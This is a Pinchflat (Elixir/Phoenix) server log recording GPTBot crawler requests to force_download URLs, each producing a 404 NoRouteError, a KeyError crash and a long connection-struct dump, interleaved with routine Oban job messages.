"x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4727.0>, params: %{}, path_info: ["sources", "1", "media", "36", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/36"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/36/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8Nt_TNqshX80wAAFRR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/36/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 60918}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/36", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/36/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/36/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 60918}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/36", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", (truncated) 20:57:45.669 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.491 [info] {"source":"oban","duration":2183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:15.671 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:42.508 [info] GET /sources/1/media/38/force_download 20:58:42.509 [debug] QUERY OK source="settings" db=0.4ms idle=891.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:58:42.510 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=892.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:58:42.510 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:58:42.510 [error] #PID<0.4734.0> running PinchflatWeb.Endpoint (connection #PID<0.4733.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/38/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/38/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4733.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/38/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 50078}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/38", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4734.0>, params: %{}, path_info: ["sources", "1", "media", "38", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/38"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/38/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8Nxg6zzVFtKtgAAFSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4733.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/38/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 50078}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/38", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/38/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4733.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/38/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 50078}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/38", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", (truncated) 20:58:45.672 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.492 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:15.675 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:45.676 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:47.293 [info] GET /sources/1/media/4/force_download 20:59:47.294 [debug] QUERY OK source="settings" db=0.3ms idle=1677.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:47.295 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=1677.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:47.295 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:59:47.295 [error] #PID<0.4740.0> running PinchflatWeb.Endpoint (connection #PID<0.4739.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/4/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/4/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 37912}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/4", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4740.0>, params: %{}, path_info: ["sources", "1", "media", "4", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/4"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/4/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8N1SQ0VPUaswAAAFSx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 37912}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/4", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/4/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 37912}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/4", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID (truncated) 21:00:00.494 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:15.679 [info] {"source":"oban","duration":2190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:45.680 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:50.660 [info] GET /sources/1/media/7/force_download 21:00:50.661 [debug] QUERY OK source="settings" db=0.5ms idle=1039.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:00:50.662 [debug] QUERY OK source="settings" db=0.6ms idle=1040.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:00:50.662 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:00:50.662 [error] #PID<0.4747.0> running PinchflatWeb.Endpoint (connection #PID<0.4746.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/7/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/7/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39116}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/7", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4747.0>, params: %{}, path_info: ["sources", "1", "media", "7", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/7"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/7/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8N4-UjTTZ2S0YAAFTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39116}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/7", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/7/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39116}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/7", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID (truncated) 21:01:00.495 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:15.683 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 